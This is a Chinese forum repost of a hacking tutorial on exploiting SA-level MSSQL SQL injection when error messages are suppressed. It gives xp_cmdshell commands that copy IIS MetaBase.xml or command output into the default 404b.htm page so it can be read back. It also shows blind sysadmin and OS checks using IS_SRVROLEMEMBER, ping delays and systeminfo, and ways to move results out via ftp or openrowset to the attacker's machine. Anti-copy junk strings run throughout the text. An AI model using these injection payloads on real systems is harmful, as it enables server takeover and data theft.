遇到一个sa注入点，mssql错误提示关闭无疑shi让人郁闷的事情。
% F) l" N: j; c2 J
1 r0 |% W5 r/ W- ^ 虽然错误提示关闭也shi可能以列目录，执行命令，但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
5 u# {0 ]; C' B) k( q6 q7 `* I! a6 d% O- a1 S2 M" x: s
这里有一个很好的方法，让你得到web目录路径，让你得到服务器上的文件，让你执行命令得到回显。
5 Q) R1 f9 i/ {7 S/ @) q4 m; L
0 ]; [' k% ~: ^: i/ H4 f# \" q( |0 \ IIS，404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm" a- `. C% H9 d x
8 J- T/ {1 S, x7 e% C: r2 ^6 H8 x u+ u
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
# t' ^+ W4 g* E0 [1 H8 J1 q- g4 q6 g6 l
,这shi20003，如果是2000的话，exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--，在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后，你再访问一下网站一个不存在的文件或目录，显示的就shiMetaBase.xml 的内容了。# T4 ^3 O$ A$ ]" M( B5 p
& L% B3 O! S( Y& Z' }( ^$ ~0 J+ V 执行命令得到回显0 y2 S6 _# R* V2 z0 _. h0 q6 z
, `# B' o2 ?+ a9 @6 Y 通过上面得到web路径的方法，你肯定很容易想到怎么得到回显了吧。 2003，exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000，exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
" C& `* k- {% `1 U8 Z% p2 q* J! P# r4 \9 }5 M' ^
得到文件也shi相同，把文件copy到404b.htm就行了
9 C, m* A# m- ]! m% B& f' a& s$ U! v* S6 C E( [; I- L
by 28ice, 2008/6/26
7 ]" o" b" a4 e- Y$ g6 D2 }$ R5 G( N( W! s6 A; ^( |; O" P9 q! C
摘自 28度的冰6 y' ]& B1 [* l4 c0 k( l
/ u6 v# z& L( Q% q5 h& ?3 } 盲注判断权限和操作系统版本
3 S# X7 u1 |: s: N6 U& z
! {. S8 l3 `& l( Q. S: n8 _ 首先第一个问题，如果错误提示关闭，怎么判断当前的权限shi否为sysadmin呢?
( l, q3 m7 j# q
( v) Z$ m6 z& Y/ F4 x0 y* |% H 最简单的，可能以用这样的方法：
$ s. Z6 ^6 S' x+ f5 e
5 o0 l3 T$ r+ [7 I+ } 1=(select IS_SRVROLEMEMBER(’sysadmin’))
% H* ^, U* Q3 w. T/ A! a& p+ j! k4 k& l9 }6 ~
当然，有些情况下，这个方法并不奏效。* z# Y4 t$ O2 _5 P
6 m: Y9 [9 y$ S8 l4 o
既然shisa，我们就可能以通过执行命令判断，不过，既然错误提示关闭，那么执行的结果就很不容易拿到。7 n8 b! w8 f. S. m& Y4 t5 [
, i E4 F, O9 U, b7 _
有个3办法可能以解决这个问题8 S/ b* C* w$ l8 \) Y) j; N
& U+ {0 a- H W
a.把执行结果写到404b.htm，具体请看我的上一篇文章$ M' E2 V" x: }/ Q3 N
4 @3 p- y1 D# v
b.执行ping 127.1 -n 10，看看页面shi否延迟10秒钟& Q0 z2 @6 ?. }8 I/ N
, r5 \! A: O5 M2 ~1 t! \. y
c.如果1433端口可能以连接，那干脆新建个sql登录3 g: j. c" i7 j& E
1 }) V! d. e' p* q4 C8 t
d.如果大牛你shi公网Ip,openrowset，或者直接telnet，ftp到你自己的机子，说到这里，ftp还有别的用处，比如，把执行结果写到文件中，然后通过ftp传到你的机子上，这何尝不shi获得执行结果的一个好办法。当然，你可能能要用到ftp的-s参数
4 y9 @0 h4 z; ~* V; |+ G/ g. `" H. Z# q! v9 o. c1 ?' r
还有一个问题，怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
+ L* @! M' _# J2 f7 s6 s( X" l6 L
很简单
# ~. X, R' x# `9 v+ ^2 Z' N& f. x( P1 A% S1 u# m/ H
执行systeminfo
# v9 w6 a- T# U' `' e
, y' `1 q7 ~5 H; m) M# q 在xp/2003下才有这个命令，这个命令执行大概需要5秒钟时间。如果页面延迟5秒，就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |
发表于 2012-9-15 14:15:42
收藏
支持
反对